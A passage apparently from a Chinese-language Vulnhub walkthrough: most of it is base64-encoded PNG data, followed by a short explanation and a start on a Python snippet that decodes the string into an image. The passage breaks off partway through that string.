kR2WmxLxkdl1k73Xugpk3bA6sVfBTGiHhpyv1JcAXR0VJ+iDv8FsCEC3FhxyDTuaOALFUOSzOIqS
XQTjfeLZcHgvEmUrZrjvPaYaQrJ6WOuGZbNxsJZP9qHKjeIQ/arTuM+IVFIHgkZNVUVRLCy7SNin
WsBjKTH6HsRg0A/lplBMR5ZfbBBa8lyzITs0W0VRUmPI6LseVeONosQTjK9wkw3KTaHkcEWkB4L3
tanmShykpWZ1iX8qr1HlRlFyhyEjGSQChWp7VRQDu7xW9sTcFButD2J+iFQqXRdjkjDVl7dBxCa6
NCpK7jBsmLjRBuyKEk9QTCMx+afvmBX8fDmQDElj6QIYgTYYyppUMjdR5UZRcofjMDs+oVSVG0Wx
KTICirOkQrHZNdOu3u4xf4Na0fwGXOsykWWocqMouUN3fDLIFDh+KUoaFBi51j42qjQpgpAYXH08
kDRIxZ0p4JCyyAaznaIoKXNY/hKW+ERFUSzM9r1Z0lPWbMcdkb7CvhCbQpoNarlRlByjCSolJWQo
n2twKUra9EON+ICGskP1L4h3S0Wyw540BSjwWwBFUdKkA8LQD91+S6IoWUUfzIRB+dPutzxAAGqM
8n39MKBnEi/IhoArRVEURXGCAFTDSDaVcjlTwoCsSqctarzxAlVuFEVRFMU1glALURiQnABFURRF
URRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRF
URRFURRFURRFURRFURRFURRFUaYmnZ2dsYQsWrTIbxkVRVEURUlC0G8BFEVRFEVRnESVG0VRFEVR
8opCvwVQspclS5Z84hOfWLJkycjIyD333LNlyxa/JZokF1100aWXXlpTU5PhdYaGhh577LGHH344
6SdPO+20a665Zs6cOT09Pffcc8+rr76a7r0WLFjw8Y9//JRTTiksLPzxj3/84osvTkrkbCdv5liG
uDEOOraeYb+tpaWlGV4qGAz+9Kc/3bRpkyOCKQpozE08d91116iv/9vf/tZvodJm2bJlra2tiR9r
ugwODl5wwQUJbnr33XeP+pV///d/T0vs2267bdQV/vKXv2Q2EtlIfsyxzHFjHHRsPWPs25o527dv
9/trKXmEKjc2P/jBD8YdgWeeecZv0dJg0aJFji86NhPpN7/61a/G/fwjjzySoti33377uFd47bXX
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
AAAAAACg0f8BeD+YFbp5dlYAAAAASUVORK5CYII=
```

成功读取该文件，将内容复制后，尝试base64解密，，发现是png的文件头如下图：

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub47.jpg)

使用python脚本将该base64字符串转换为png图片，脚本如下：

``` bash
import os,base64 
strs='''iVBORw0KGgoAAAANSUhEUgAAAvQAAAFYCAIAAACziP9JAAAACXBIWXMAAAsTAAALEwEAmpwYAAAg
AElEQVR4nOy9eZhdVZXw/bu35iFVlXmgUiQhBAIJEGKMAQGDb1rpbj5EjYK8KIoy+SniIyC2Q4uC
Nn5tOzI4dAvaKI2CLTgEWmYIGTCBQAbIUEkqVZWa5+lO3x/nXefdt4Y71D3DvbfW78nDk1C3zll3
n332XnuNoCiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiK
oiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiKoiiK
oiiKovhOwG8BlNynAM6AEYhCBGLQCd0Q8lswRVEUZUoS9FsAJfcphUIIQBAKICBajqIoiqL4gSo3
SsYUi1oTlAkVgajPQimKoihTFlVulIyJicHG+m9MzTaKoiiKn6hyoziBpdlguKUURVEUxScK/RZA
yX3C4pMCIhDQOHVFURTFT1S5UTLGUm4K5J8FiT6rKIqiKG6jyo2SMSEjlDgGQbXcKIqiKH6iMTdK
xtiuqCAUQolOK0VRFMVP1HKjOEEYCiFqZE4piqIoik+ocqM4QRSKxD+FTitFUZQpSTVUwwC0+SyI
7kKKE1jKjZ0BHpCCN4qiKMoU4V1QI6XOmmG7n7JocITiBCPSgSEgmVPqmXKPAqjyWwZFURSTpTAT
QjAMEZgJ50OJb+Ko5UZxgigUymyyyhOrcuMSy+BtEIIheA66/ZZHURQFKIQwEF+w/nx4HZp8EEct
N4oThKBIOkxZdW7UJ+UGNbAWwjAEUTjVb3kURVEs2oy0WWsjKIISWAnLfRBHlRvFIezG4EFJm1Ic
52yIwYgsH8A0nyVSFEUBaIM2iEipM7M4yImwymtxVLlRnKBYVHVr042pcuMOsyASP9RFfoukKIpi
8QIchg4IAVAIBaLfzIFTPJVFY24UJyg2bAmq1rhEAUyDXgiK+hjVHqWKomQTu6ECZkMdVEOpxN8E
4UTog2MeCaLKjeIEJVBodGDQaGI3KDbsvZYGOSwRfIqiKFlCP/RDE6yAeVABMSiEclgC7TDkhRTq
llKcoAIwfCU6rdzA9kZZwxuAATH/KoqiZBXD8AocgRE5khVDNSz06P66CylOUGpEE+uccgkrxz4o
Zt4wjMCwz0IpiqJMyC7oACQzvBzmQLkXd9aNSHGCMqN8n1bwc4mQ4ZYKwCAM+C2SoihKYrbG13ed
BfO8uK0qN4pzBI30P8VxwkYBiSCMwIjfIimKoiRmCA4Ydv0yqIZi12+ryo3iBANGwE1AtBzFccKS
XVkgdfwURVGynF1QYewRNV40kFHlRnGCIWm/YAcUq3LjBsNGDy80mlhRlFxgGHqgSM5ms7wIu1Hl
RnGCXtFs7D+q3LhBvzHOeGHaVRRFcYAWKJPTb4kk2LqJKjeKE7RKFRbTeKM4zhCUGH1b1C2lKEpO
0AiVRuepQih194a6BSlOEJNNNyj+KbXcuMEgFMkCUaKB24qi5AhVUGq0ICyRivauoauj4gQh8ZVY
jaXULeUSMbGQRaHM9dVBURTFGQqM0y8Sf+MmarlRnGDYqHCj2VLuERWLbhCmQYnf8iiKoqRCiRGO
WWD0kHENtdwoTjBiBLoWqkXBNQqM4a2EMp/FURQlZwjAWgD6oAuOedvkuFJ2B6+a/qpyozhBwNBs
Qlqk2DXso4811LaLSsknpsOHoBYOwiZo9FseJT/4MYRgBGIQhigcgtfgVU/KgZbGhy4MqeVGyQki
RhyxtdeqcuMGxWK8CctoF6hyk1/UwhdhEHpgNlwB2+Fpv6VScp2LAOiBmCzOYZgPC+DvYCs86bIA
0yV0IQox6He9L57G3ChOEDOsNdo70z3KxP1XqIOcp3wOBqBNlv4orIR3+iyUkvOcBZH4OmR22dUI
rIBrXXZzz4WoWJ17YADCbt7OH8vNp6AWgD/BFh/ur7hCoREsprhEmawOMaNOsZI3nAGF0GJ4G60E
k0WwD1r9FU7JWYKwEAaNpcOeXRHJyo7CxfCIOzpHISyCJtkgmqHPhbvE4/np73pYBcUQhbOgxuv7
K64Qja9wo/qNS1QYNRILvI0HVDxglbxKpuZqqbML/JRLyW1qRI8pMNaNgPEnCBUwA85yR4AzoFzC
MSPQBEPu3MjAc8vNSuiRYKIiWAJ/81oExXns/OQCCYZX3KBSyggVSFRgxG+RFAcphwHjn3a6bBj6
/ZFISYlpUARD8Y9v0gSlVmfEof5xM8SOEYA2eBKOQTWsgaXiqIpCDZwIB6HDiZuavF+cYgXQAK2u
B9zgtXJTCQUQlkNJpesFmBXvML256i5xiWlyzEI0G40mzifelNAE4guB9ECvb0IpcSyC86EcKqAK
amCmvIkhaIej0AH10AE90AcD472nAfn1OTADFsAcmA7V4tmwAm97oAkaYSfsm6zMJcay3ACvQwha
oBn+HhZLKlMM5sEip5Wb5XAG1MvCtRu6Hb3+BHir3BQZiaxRKJJB14N+rhMwDJ663bpHqeH1i7oe
kad4zV+hFmbIwgjE4Bh0wXGfRVMAzoZbYVBevQhEoAPCsosVw6kQhPMkxyICMamRYZlhgvIim8Xc
IzAMIeiSy1rEoAZmw9ugAPbAw9CVptjFRum8iBGN0guPwmVQC0UQg2kwB2rSv8VEFMH3JII4CHvh
